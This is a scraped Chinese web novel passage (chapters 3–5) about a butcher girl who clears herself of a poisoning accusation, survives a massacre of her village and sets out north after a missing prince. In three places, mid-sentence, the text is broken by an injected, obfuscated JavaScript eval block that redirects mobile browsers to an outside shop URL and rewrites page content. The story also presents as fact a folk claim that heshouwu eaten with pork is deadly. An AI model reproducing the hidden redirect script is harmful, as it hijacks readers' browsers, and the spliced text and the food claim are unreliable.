《乱世女主决定弃屠从医》 3. 索命偿命 几日后,赵卿文伤势转好。 陈皎皎那两弯长眉总在查看赵卿文身上的伤口时皱起,严肃的神情和她站在案板前时一模一样,抚过伤骨的指腹虽然粗糙却也始终保持温暖和小心翼翼:“唔,应该已无大碍了……” 她嘴上是这么说,但心里仍有不安。 毕竟用养猪杀猪学来的法子救人只是一时的权宜之策。 她未曾没有给他寻过医,只是那些坐诊的大夫们不是被强征带去了战场,就是推辞保命避世不出。 要是她真会医术就好了,这样她一定可以救下更多的人…… 陈皎皎取下沾满污血和草药的布条子,给他换上新包扎。 屋内静悄悄,只能听见两人的呼吸声和炉子上正滚沸的热水。 赵卿文低头未发一语,他没有告诉陈皎皎自己近来似有恢复记忆的迹象。 夜里,他总能梦见混乱的都城和血气弥漫的战场——难道我是逃兵吗?又或者是一个十恶不赦的刽子手? “好了。” 陈皎皎轻巧地撕下最后一节白布,在布条末尾打上了结。 “皎皎”,赵卿文犹豫不决:“你救我,就不怕我是坏人吗?” 陈皎皎不知如何回答,低眉思忖:“你是否是十恶不赦的大坏蛋,其实说到底,和我没有关系……” “嗯?” 赵卿文不明白。 她挠挠头,坐到赵卿文的身旁:“我没读过什么书,只知道哪个季节开始养猪,它们就会白白胖胖,什么时候喂猪,它们的就会吃得更多……” “你看”,陈皎皎指向窗外。 赵卿文沿着她方向看去——水田之上是正在插秧的人群和耕种的老牛,过了年就是农忙的春天。 “大家总是知道自己想做什么或者该做什么,不是吗?” 所以啊。 少女双眸明亮:“救你,是我的事,我但行好事不问过往前尘。至于你是什么样的人,是你自己的事情呀……” 你若厌弃自己双手沾满鲜血,你就用余生去洗尽;你若渴望得到什么,想要拯救什么,都是自己的事情呀。 这番话让赵卿文颇感震动,他没想到如此通达的见解居然是从一个年仅十五的乡野姑娘口中说出来的。 屋外,春风一吹,连院子里那株死气沉沉的枇杷树竟也乘人不备悄悄抽出嫩绿新芽。 赵卿文不复往日的苍白,渐渐多了些红润的血色,半真半假地开起玩笑来:“皎皎颇有大智慧,又救了在下。咳咳……在下若是一个好人,一定讨皎皎做夫人。” 突如其来的心意惊得陈皎皎面红耳赤地从床边蹦了起来,连连后退。 她望着赵卿文嘴角微扬的温润模样,又羞又恼,忍不住给他后背轻轻来了一拳。 …… 隔天清晨,陈皎皎起了个大早,在摊子上挥刀剁肉,她眼神专注,手里的杀猪刀正沿着又厚又大的猪背缓缓切开皮肉。 “就是她!” 一声厉喝断了陈皎皎手下的动作。 那整日在乡里横行霸道的常蒲竟领来一队小厮,气势汹汹地将肉摊子团团围住:“给我上!” 此刻常蒲的额间系上了一条白布,陈皎皎还未弄明白到底发生了何事,他的手下就不分青红皂白地对着自己的摊子一阵打砸。 “你干什么!住手!” 陈皎皎又惊又急,她刚切好的干净排骨和腿肉一时之间全被人掀倒在地。 常蒲面露凶光,正欲伸出右手死死抓住她的长辫子,陈皎皎顾不得其他立刻闪身躲开,他又再度伸手想要扯拽她的衣裳,陈皎皎终于忍无可忍,她一把抓起案板上的杀猪刀,直直指向常蒲的鼻子:“我说了让你住手!” 那柄浸着猪血的刀刃在晨光熹微之下反射出银色的光辉,仿佛在来人与陈皎皎之间劈开了一道无声的天堑。 常蒲没想到陈皎皎竟会持刀反抗,他那猩红的双目依旧死死盯着她,恍若一定要将她生吞活剥又置她于死地才肯善罢甘休:“我要你杀人偿命!” 原来,昨夜常蒲的母亲吃下从陈皎皎的肉摊上买回去的猪肉之后,整个人腹痛不止,上吐下泻,不过半个时辰就药石罔顾,撒手人寡了。常蒲一心只认是陈皎皎给猪肉动了手脚,定要前来向她讨要说法。 陈皎皎不卑不亢,极力克制住情绪,保持声音冷静:“你如何可以证明令尊是吃了我摊子上的猪肉,才呕吐腹泻的呢?每日来我这买肉的人,不说几百,也有几十,为何单单只令尊一人出现了这样的症状?” 眼前的常蒲仍摆出一副视陈皎皎如祸首的样子,仿佛下一刻就要冲上来将她千刀万剐碎尸万段,他咬牙切齿:“定是你蓄意报复!之前我路过你的铺子,与你讲了几句玩笑话,谁知你当场颜色大变,还伙同你那表哥一起威胁我,想来你定是开不得玩笑之人,于是怀恨在心……” 陈皎皎闻之,只觉此言荒谬令人发笑,又不禁对其颠倒黑白、避重就轻地谈及他之前出言不逊一事颇感震惊和无语,冷笑着抛下一句:“无稽之谈。” 常蒲哪里还管什么真相和清白,他早已失去了理智,认定陈皎皎就是凶手,非要架着她去常府磕头偿命。 他趁机夺走陈皎皎手中的杀猪刀,小厮蜂拥而上,饶是陈皎皎力气再大也是寡不敌众,她被人用碗口粗的麻绳捆死,又被常蒲径直押去了常府。 …… 常府内挂起了白幡,纸钱如雪,纷乱地洒落一地。 灵堂上,常夫人的棺椁还未合上,那棺中尸首面容瘦削,脸色惨白,嘴唇乌青,死相惨烈。 一张四方桌上还摆着昨日的那碗猪肉汤。 陈皎皎被常蒲粗暴地推至灵前,她的额头重重磕到黑漆漆的棺木上,额间渗血。 “放开我!” 陈皎皎拼命扭动着身体,不肯屈服。 灵堂内,只有他们二人。 常蒲惨然一笑,彻底失去了理智,指着陈皎皎:“你!给我娘偿命!” 屋外,狂风大作,风吹幡动,恍若阵阵鬼影,照得屋内忽明忽暗。 陈皎皎强迫自己冷静下来,她抬头,忽然注意到常夫人毫无血色的嘴角竟有一道隐隐的黑痕。 是血? 不对,这颜色不大像血。 她端详着常夫人的死状,心中好像忽然明白了什么。 陈皎皎趁着常蒲取刀的间隙,立刻调转身体重心,侧身紧贴身旁的棺材,拼尽全力站了起来。 随后,她不顾常蒲诧异的目光,飞速奔向灵台上的那一碗“毒猪肉”。她大口吞食来不及细嚼慢咽,就已然将猪肉全部吞入腹中。 屋外,乌云密布,第一滴雨落在常府花园栽种的槐树枝叶上,大雨随后倾盆而下,陈皎皎背对着电闪雷鸣,心脏狂跳。 她在赌,但她也怕自己赌错。 屋内,烛香缭绕,灯火摇曳。 常蒲的脸上的神情渐渐从凶光毕露变成了皱眉不解:“你为什么没死?” 是啊,为什么陈皎皎没死,但常夫人却死了呢? 不,准确来说,应该是为什么常夫人死了,而陈皎皎还活蹦乱跳地站在世人的面前呢? 陈皎皎迎风而立,她瘦弱但不柔弱,昏暗的屋子里,只有她的一双眼睛是亮的。她双唇微启,面色平静:“何首乌。” 何首乌与猪肉同食,会产生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948861|193030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧毒。① “常蒲”,她淡淡开口:“你不知道你娘身患肺疾吗?” 男人凶恶狰狞的面容竟闪过一丝茫然:“什么?” 陈皎皎哑然,伸手指向屋外的花园:“刚刚你们押着我从常府的花园经过,那株老槐树下,还残留着倒掉的药渣。” 而常夫人嘴角的那抹黑色,其实并非是毒血,而是常年服用治疗肺疾中药所致,陈皎皎在照顾缠绵病榻的张母时也曾见过。 何首乌是医治肺疾的良药,它出现在了那堆药渣里。 不过,作为儿子,常蒲竟对此事,浑然不知。 此时此刻,陈皎皎的心里却不知怎的涌上一阵无比熟悉的凄凉和无奈,她居然想起那位入赘苏府而弃生母于不顾的张容之。 他们有什么区别吗? 没有。 只不过一个色厉内荏,一个道貌岸然罢了。 常蒲见她轻轻摇头叹气,心中莫名生出滔天的恨意和惧意,却仍不愿接受事实真相,反倒伸出颤动的右手指着陈皎皎的鼻子:“妖言惑众!是你,是你害死了她!不是我,不是我……” 他的声音越来越小,渐渐被噪杂的雨声彻底掩埋。 “常蒲,”陈皎皎看着眼前之人陷入癫狂,小声道:“你该放我走了。” “呵呵呵呵”,常蒲对她的话依然置若罔闻,他忽的仰天大笑起来,转眼间又换上之前那副纨绔的地痞模样,一张嘴就是令人难以忍受的臭气:“凶手哪也去不了,需得在此地就伏法。陈皎皎,以你一命换我娘一命,是你之幸……” “常蒲,你又发什么疯!” 陈皎皎大惊失色,她知道常蒲坏,但没想到他坏得这么彻底又坏得这么疯。 她扭着身体拼力挣扎,常蒲如厉鬼手持利刃步步紧逼。 她吓得直冒冷汗,就在常蒲挥刀向她砍来的千钧一发之际,身上的麻绳才终于得以松动。 陈皎皎当机立断,她随手抄起长凳,用尽毕生所有的力气砸向他。 “砰”的一声,常蒲当即晕死过去。 陈皎皎头也不敢回,冒着大雨就冲出了常府。 一路上,疾风骤雨糊住她的双眼,脚下又是雨水又是泥泞,她不顾一切地向家狂奔,却实在是体力透支,最终晕倒在了这场瓢泼大雨之中。 …… 陈皎皎昏迷了整整一天一.夜。 她淋了雨又受了惊吓,再强壮的身体也抵不住这样的折磨。她浑身烧得滚烫却一直发寒发冷,意识也陷在迷迷糊糊的噩梦里难以挣脱。梦境与现实交替轮转,一会儿是常夫人的悲惨死状,一会儿是常蒲怒目圆睁手持血刃朝她砍去。 她觉得自己在无尽的黑暗里一路向前,却始终无法找到噩梦的出口。 直到陈皎皎闻见那股微微发苦但清新好闻的中药香,温暖才终于穿过重重叠叠的浓雾找到她。耳边似乎隐隐约约响起小时候娘亲给她哼唱过的曲调,但当她侧耳倾听之时声音又消失不见了。 陈皎皎醒来的时候,身边没有人,夕阳无限好,暖黄的落日洒在她变日益消瘦的小脸上,枕边放着一只墨绿色的荷包。 她披上衣服,慢慢走下床。 她的老爹正守在药炉子边昏昏欲睡。 陈皎皎开口轻声呼唤,她声音嘶哑,鼻音沉重:“爹?” 陈老头猛地睁开眼,急切地拉住她的双手:“谢天谢地,皎皎,你终于醒了。要不是赵公子跌跌撞撞把你从雨里背回来,为父还以为再也见不到你了。” 炉火正沸,药香弥漫。 老爹不禁偷偷抹泪。 陈皎皎环顾四周却没有见到那道熟悉的身影:“那他人呢?” 4. 离去与离别 在一个平静普通又略显寂寥的深夜,赵卿文悄无声息地离开了这里。 没有人知道他去了哪儿。 只留下了一只用上好的丝绸布料缝制而成的墨绿色荷包和一张写着歪歪扭扭“等我”二字的纸条。 陈皎皎尚在病中,养病的日子里她不出摊也不出门,闲来无事就喜欢在幽微的烛火下颠来倒去又翻来覆去地捻着那张纸条端详。 毛乎乎的宣纸纸片,纸上那两个字写得很是潦草,笔墨不均,龙飞凤舞,能看出赵卿文离去时的匆忙和迫切,纸张的边缘还有深色的水渍,也不知那是药还是血。 “等我”,这到底是什么意思呢? 陈皎皎抚摸着纸片和荷包,告诉自己千万不要胡思乱想,但每每看见这两个字却依旧止不住地多想。 这时,陈老头刚好从村上药铺给陈皎皎抓了几贴药回来,屋外天色沉沉,寒风呼啸,似乎夜来有雪。 他搓着手进屋,鼻腔里刚呼出的热气不过瞬间就变成白色的水雾,一张嘴念念叨叨:“哎呀哎呀……” “怎么了,爹?” 陈皎皎略感不解,她放下手中的纸片和荷包,起身搀扶老爹坐到竹椅上。 老爹朝她摆了摆手:“今天我去抓药,一路上都人心惶惶的,拉住隔壁拉牛的老李一问才知道,原是北边又打起来了!” “什么?” 闻言,陈皎皎心头一紧,扶住老爹的手也不禁重了几分。 “据说是那里”,陈老头伸手指了指头顶的“天”,压低声音:“老皇帝病重,他的两个儿子突然为了皇位打起来了,这下各州各郡纷纷站起队来,天下又要不太平咯……还说什么其中那个小的儿子前几日突然失踪了,至今下落不明,大家伙儿都悄悄猜测这件事是皇帝另一个大一点的儿子在暗中做了手脚……” 陈皎皎立刻明了,默默倾听着。她心里一直觉得这些天家之事与他们这些平头百姓之间仿佛永远隔着千山万水似的,每每听见皇宫里的事情都很恍惚——这世间竟真有如此云泥相别的两种生活吗?她惟愿天下太平再无战乱,以及那位不知身在何处的小相公能够平平安安,早日归来向她解答那两个字的真正含义。 夜不知不觉地深了,冷风吹进半敞的窗棂,烛火不安地摇曳着,陈皎皎披上衣袄迎着微弱的烛光细细擦拭她那久未使用的杀猪刀,心绪芜杂。 过去的一个月就像一场迷梦一样紧紧缠绕她:常蒲疯了,赵卿文走了…… 冷月无声,寒意浸人,陈皎皎停下擦拭的动作,站起来,随手将窗子紧紧阖上了。 …… 夜里,无风无月,天地如同浓稠的墨,鸦雀拣尽寒枝仍不肯栖就,在长夜中发出凄厉惨叫。 在这场无人知晓的夜色里,一行黑衣军士正趁黑缓缓靠近沟雄岭。 “启禀大人,前方发现他的踪迹。” 头兵呈上一只带血的缰绳。 那为首的蒙面军士目露凶光,挥手示意众人继续前进:“走。” 不过半个时辰,那行军士已经摸黑来到了村边的空地上。 “大人,你看……” 其中一名军士指着草堆上一小块已经干涸变黑的血迹:“他绝对来过这里。” 一行人望向远处飘着旌旗的村庄,若有所思。 “恐怕他此刻就在里面……” 所有人都在等待为首的蒙面军士发话。 “格杀勿论。” 为首之人轻吐四字,恍若在说一件极其稀疏平常之事。 …… 后半夜,陈皎皎忽地从断断续续的梦中惊醒。 窗外正飘着细雪,不远处,村口的老黄狗发了疯似的狂吠,原本应该静悄悄的村庄此刻却陷入一片嘈杂。陈皎皎侧着耳朵,她先是听见几声重物撞开房门的声响,接着就是女人的惊呼、男人的求饶和小孩的哭声。 她瞬间清醒过来,直觉告诉她情况不对劲。陈皎皎顾不得思考,即刻披衣下床,摸黑从墙上取下先前擦拭干净的杀猪刀,然后快速将还在熟睡之中的老爹喊醒。 父女二人正要从后门离开,却发现已经来不及了。 陈皎皎熟悉那种如同杀猪一般的利刃切开皮肉的闷响,它们此时正如幽影鬼魅一般在晚来欲雪的黑夜里步步紧逼,越发清晰,那声音密得像另一场雨雪,落在四周,听得人头皮发麻,几欲作呕。 她又急忙拉着老爹躲回原来的屋子,二人藏在狭小的灶台下面不敢发出一丁点儿动静。 忽然,周围安静下来,所有声响一时间全都默契地停下了。 风雪之声在寂静的夜里格外明显,陈皎皎觉得自己仿佛回到了当初捡到赵卿文的那一天。而此时此刻,她的手心里已经全是冷汗。陈皎皎仍旧不敢轻举妄动,只缓缓起身,透过灶台上的窗口,探头向外看去—— 一双猩红的眼睛正在与她幽幽对视。 陈皎皎的心猛地一沉,下意识向后猛退。 这一刻,她连呼吸都忘记了。 窗外的那蒙面人却是不急也不恼,仿佛在饶有兴味地欣赏和品味着她的惊慌和恐惧,喉咙里挤出“桀桀桀”的狞笑:“躲啊,怎么不躲了?” 陈皎皎咬紧牙关,握住杀猪刀,用另一只藏在黑暗处的右手紧紧拉住老爹的手臂。 “跑!” 她趁着那人还未反应过来,一把踢开房门,抓起身旁的爹,飞快朝着另一个方向奔去。 两人边躲边跑,没能离开多远,就陷入了一个三面不通的死胡同。 陈皎皎手脚止不住地发.抖,她大口呼吸,强迫自己冷静下来。 “你不能让别人欺负你,你要保护自己,用你杀猪的力气,不要怕。” 陈皎皎突然想起了小相公对她说过的话。 她垂眸定定地看向自己手上的那柄在黑夜风雪下冷光闪烁的杀猪刀,心想:我要保护自己,我要保护爹爹,我也要保护所有人…… “爹,别怕……” 陈皎皎轻声安慰着受惊的老爹,同时缓缓转过身面向胡同入口,眼睛死死盯着前方,下定决心要与那些残忍的匪徒抽刀搏命…… 不料,她的颈后忽地传来一阵闷痛,接着眼前一黑,失去了意识—— 陈老头用尽余力将陈皎皎打晕,然后迅速将其拖到了胡同角落那间隐蔽狭小的猪圈内,喘着粗气地用苍老发颤的双手为陈皎皎盖上了一层厚厚的稻草…… 陈皎皎做了一场梦,梦里是下着雪的冬天,爹爹和娘亲一起牵着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948862|193030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的手,一家三口走在大雪纷飞的回家路上。忽然,身边所有人都一瞬间消失不见,茫茫白雪之中只剩下了她一人,耳边是老爹对她说过的最后一句话:“活下去,皎皎,一定要活下去……” …… 新雪过后的清晨,冬末初春的沟雄山里老鸭河旁,血气如化不开散不尽的迷雾般浓重。 陈皎皎被藏在猪圈里一整夜,草杆和白雪将其深深掩埋,叫人看不出一点端倪。 她头痛欲裂,悠悠转醒,艰难地从杂草堆里爬起,首先看到的却是已经倒在血泊里不知几时的爹爹。她不顾一切地冲上去,跪到爹爹的身边,伸出发颤地双手握住他已然冷透的手,轻声哽咽:“爹,你醒醒,醒醒啊……” 整个村庄一片死寂。 爹爹死了,村子也没了。 陈皎皎竟有些恍惚,她不确定自己是否又走进了一场无法醒来的噩梦之中。 她跌跌撞撞地走到村庄的大路上,茫然地看着四周被皑皑白雪覆盖的尸体——男女老少,尸体上都是她再熟悉不过的脸。 她头昏脑涨,跌倒在雪地里,抬眼间却发现那些受害人的身体上竟然是她先前见过的熟悉伤口——又细又深的口子,全部避开了要害。 和之前赵卿文身上的一模一样。 陈皎皎似乎明白了什么,她失力重重跪倒在地,杀猪刀也从她的手中滚落到厚厚的积雪中。 她那滚烫的眼泪终于不受控制地流下,滴在雪上,也滴在血上:“对不起,对不起爹,对不起大家,我保护不了自己,我谁也没能保护好,我谁也保护不了……” 清冽的晨风宛若无形又无情的利刃刀片,刮在陈皎皎衣着单薄的身躯上。此刻,她无比悲痛和茫然,仰起身体,顾不得肉.体上的疼痛,呆呆凝望着头顶白茫茫一片的苍天: “为什么?为什么? 我们只是想好好生活,过完平平淡淡的一生,为什么要把我们所有人都牵扯进来? 为什么默认我们这些平民百姓就必须要成为权力争斗的牺牲品? 为什么这乱世之风,往上吹是旌旗猎猎,江山更迭,往下刮在小民的骨肉上,竟连一声轻响都听不见?” …… “咔嚓。” 陈皎皎不知道自己在雪地里沉默了多久,直到耳边猝不及防地传来一声枝丫折断的轻响,她才从悲痛之中回过神来。 她的心再度被提到了嗓子眼,万分警觉地伸手捞起雪地里的杀猪刀,朝着声音缓缓靠近…… …… 不远的村口,那片白茫茫的雪地里,只有一位身着黑衣,身形佝偻的老人,正忙碌着手上的动作。 陈皎皎悄无声息地靠近至他的背后,拼命抑制住心底的恐惧和悲痛,缓缓举起杀猪刀…… …… 太阳从沟雄岭的山头东侧攀起,清晨的雪地在日光下反射出刺眼的白光。那黑衣老人双手通红遍生冻疮,正要俯身拾起破烂的推车,却猛地感觉脖间一凉。 他立刻顺从地放下手里的东西,颤颤巍巍地转过身去,对上一双满是愤怒、悲怆和迷茫的含.着泪的杏眼。 他正要求饶,却听见那位浑身满是污泥和雪水的小姑娘开口了: “说。” 5.北上 陈皎皎气息紊乱,语气不稳,但手上握住的那把杀猪刀却是丝毫不含糊——锋利锃亮,叫人胆寒。 就在她胆战心惊地等待面前的老人转过身有所动作之时,却不想他先是举起双手放弃了任何抵抗,转身,“扑通”一声,直直地跪在了她的面前。 陈皎皎的不由地大惊,心中也泛起了一丝茫然和困惑:“什么意思?” 那老人头发灰白,衣衫褴褛,看上去比陈皎皎的爹爹还要更饱经风霜苍老几分。 他不敢抬头直视她倔强又满含愤恨的眼睛,只是不停地垂首磕头,做出一副任人宰割的示弱模样:“对不起,对不起,求求你,求你饶我一命……” 陈皎皎于心不忍,但手上的杀猪刀还是离他的血肉又近了几分:“说,把你知道的一切,一五一十地告诉我!” 老人如实交代,他说自己原是军中的一名炊事杂役,本来已年近高龄正打算辞军归乡了,却因北方烽烟又起,无奈被迫随军出征。他手无寸铁,不想滥杀无辜,但又无力阻止一切,只能在随军的途中偷偷为惨死的平民百姓收尸。 陈皎皎紧皱眉头,发丝凌乱:“你们为什么要到这里来?” “我不知道,我不知道……” 眼见那人吞吞吐吐又频频摇头装傻始终不肯如实招来,陈皎皎只能强行压制住心底的怒气,极力保持沉着冷静:“我不想杀你,但是你要是骗我,也别怪我……” 刀刃紧贴老人的脖颈,仿佛陈皎皎只需要稍作用力,它下一秒就会替她割破老人的皮肉。 不知过了多久,陈皎皎的耳旁响起老人幽幽的叹气,混着呼呼的风声,又夹杂了几分无奈:“姑娘,你就算知道了又能如何呢?我看你为人尚年轻,听我一句,不如就此抛却名姓,忘了这些是非恩怨吧……” “是非恩怨?”陈皎皎喃喃道,她的眼眶里满是泪水,面前一片模糊,两行清泪无法自抑地从被冷风吹得生疼发红的面颊上流了下来,她哽咽了:“老人家,这是人命,不是恩怨。” 寒冬的北风吹遍四野,尸骨在无人问津之处彻底冷透。 那老人见状,似有动容,他低头长叹一声,缓慢开口:“为了寻一个人。” “谁?” “失踪的五皇子,赵卿文”,老人想了想,紧接着又补上半句:“只是,他已不在此处,剩下的其他人都接着去追他了……” 这还是陈皎皎第一次从别人口中听到这个名字,她以为自己的心绪会如同惊涛骇浪一般起伏不宁,而事实是她没想到自己居然心如止水,并无一丝意外——一切的一切,她早该知道了。 陈皎皎笑了,那是一个溢满苦涩和不甘的笑容:“这些就够了,谢了,老人家。” 她掉转刀身,不带任何犹豫,用刀背敲晕了这位老人。 …… 雪后的道路泥泞不堪,陈皎皎从云雾缭绕的半山远望,此刻的家乡已经凝结成为了一个很小很小几近于无的“点”,像她小时候在学堂先生家中见过的水墨画卷上那草草勾勒的一小块墨渍。 所有的往事也会成为浓缩这样的墨点吗? 陈皎皎摇了摇头,她不愿再想了,她知道自己无法停留,想要得到真相就必须北上找到那个名为“赵卿文”的人,然后再找到伤害村子的罪魁祸首。 她紧紧攥住那只装着纸条的墨绿色荷包,背上那柄缠绕着数层白色布条的是已经伴其走过近半生的杀猪刀,此刻好像正在代替她为逝者披麻戴孝一般,那长出一节的白布条子迎风招展,仿佛是随着陈皎皎一起渐行渐远的白幡。 陈皎皎不知道自己要去找赵卿文,该是以一种什么样的情绪和态度呢? 该去提醒他有人要杀他吗? 她不知道。 那该恨他招致如此灾难吗? 她不知道。 一切像是因他而起,但又不仅仅是因他而起。 陈皎皎总觉得,赵卿文似乎也只是困于黑暗囹圄的囚人,那深不见底的黑暗后面恍若还有一只更加巨大与无形的双手,无情推动着平民的生死——它就像轻轻碾碎一只无关痛痒的蝼蚁一样,碾碎百姓渴望的安宁和太平。 或许,乱世里,皇权下,没有赢家,但一定有输家。 陈皎皎不想无辜的百姓们成为最大的输家,她不愿意再看到人群枉死,成为乱世里冰冷的白骨和成堆的无名尸首。 她总觉得自己该做些什么。 陈皎皎停下脚步,再度看向自己的双手——这是一双长着厚茧的粗糙的但索性还有温度的手。 或许,就像赵卿文曾经说过的那样,她学着要保护自己,然后保护所有想要保护之人。 …… 当老人从枯黄干燥的草堆上醒来的时候,陈皎皎早已不见了踪影。他低头看着自己长满紫红色冻疮的手——这双被冻得麻木的手此刻却已被洁白柔软的麻布条仔仔细细地包住。老人的心里顿时涌现出莫名的酸楚和悲凉,他望着那位姑娘离去的方向,连连摇头叹息:“何必呢?何苦呢?” …… 走了约摸大半个月的山路,一路上逮着行商和走货郎就是问路的陈皎皎终于快要翻过沟雄岭这座大山了。 作为在陈家村土生土长十五年的女娃娃,她是第一次一个人走这么远的路。 她想着等明日翻过了这座山,是不是就意味着自己离北边更近一点了? 已而夕阳在山,天幕低垂,昏黄和夜色在寂静中渐渐升起。 陈皎皎抬头看天,估摸着不过一个时辰,天就要黑了。她照着走货郎所描述的方向,一路往前。 不出半刻,她果真寻得一间可供暂歇的山野小庙。 这座小庙藏在层层叠叠的野树杂草之间,外表破败不堪,原本鲜红的墙身现如今已是脱落斑驳,变得灰扑扑的。 陈皎皎怀着忐忑和警惕走进庙里,却只见到破落的断壁残垣、散落四处的青瓦和头顶一方狭小透光的窟窿。 这里几经风霜,早已佛塑结网,烛台蒙尘,无人供奉,被人们遗忘在了偏僻大山的深处。 陈皎皎盯着佛像慈悲的眼睛,悄悄把背后的杀猪刀藏在了佛像的身后。 爹爹曾经告诉过她,神佛不见血。 她要心怀虔诚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950054|193030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早春的晴夜里,明月朗照,月光透过破庙屋顶的“大洞”,在屋内的大石砖上洒落一片如霜如露的柔和光辉。 陈皎皎已经习惯在黑夜里睁大双眼,因为她无论如何也无法安眠了,只要她清醒地闭上眼睛,那片经过鲜血染红的陈家村就会如同从无间炼狱爬出来的厉鬼,时时刻刻立刻占据她的脑海与心神。她只能等待,等身体自行疲倦,彼时入睡方可毫无知觉,不用被噩梦侵扰。 就在陈皎皎的身体昏昏欲眠之际,屋外却传来一阵极其轻微的悉索声,她立刻清醒,全身紧绷,竖起耳朵倾听屋外的动静。 荒郊野岭,三更半夜,居然还有人出现在这里,这未免太不寻常了。陈皎皎暗自思忖。 凌乱的脚步声由远及近,陈皎皎看见一个身材瘦小的山贼半推半拽地将一个浑身是血且陷入昏迷的人拖进了庙里。 她皱眉,不安的记忆再度浮现,她目不转睛地盯着那山贼的一举一动,想要摸起杀猪刀,却忘记它此刻不在身边,而在佛像背后。 于是,陈皎皎决定暂且按兵不动,静观其变。 她看见那山贼上半身穿着打有各色补丁的宽肥衣物,下身是洗得发皱发白的褐色裤子,那两条裤管子一长一短,莫名透出一种紧紧巴巴的滑稽。额间系着不过两指宽的粗黄布,叫人一眼就看出他山贼的身份。 他手下的那名青年男子面容端方清瘦,作的是本朝最常见的书生打扮——一身清爽朴素的月白色的直裰长衫,头上的青色方巾却歪歪斜斜,松垮地垂挂在脑后,腰间还别系着一只木刻的书简。 陈皎皎悄悄躲在柱子后面,借着月光细细端详,才发觉那书生的半张脸面竟全是血迹,左边的额角也破了一个血洞。再往下看去,只见他的左腿格外无力,似乎还在隐隐流血。 某一瞬间,陈皎皎突然联想到了第一次见到赵卿文的场景。 陈皎皎用力摇了摇头,将自己的思绪重新放在怎么救下这个被山贼劫持的可怜书生之上。 正当她一筹莫展之时,头顶那轮月亮的莹莹微光正好照在了烛台之上的暗金色佛像身上,看着那浸润在洁白月光之下,慈眉善目又端正自持的庄严宝相,陈皎皎有了法子。 她在心中默默祈求神佛的原谅,随后,清了清嗓子:“咳咳。” 毛头山贼刚将书生靠墙放下,听到这一声咳嗽不禁吓了一.大跳:“谁!” 陈皎皎先发制人:“你个小贼,为何半夜来我庙中做这腌臜之事?” 山贼慢慢转过身,面朝佛像,在短暂的疑惑之后,他的神情变得异常激动和兴奋:“显灵了?他们没骗我,神佛真的显灵了!” 说罢,他一把跪到烛台正前方的破烂草垫子上,无比虔诚地阖上眼睛,双手合十,嘴里还念念有词。 他的一番动作如此行云流水,一气呵成,把陈皎皎都看呆了。她又掐着嗓子文绉绉开口问道:“你有求于我,所为何事?” 闻言,那小贼立马对着神佛重重磕了三个响头,一只手指向角落里倚墙而靠的书生: “求求佛祖菩萨显灵,救救这个人吧……”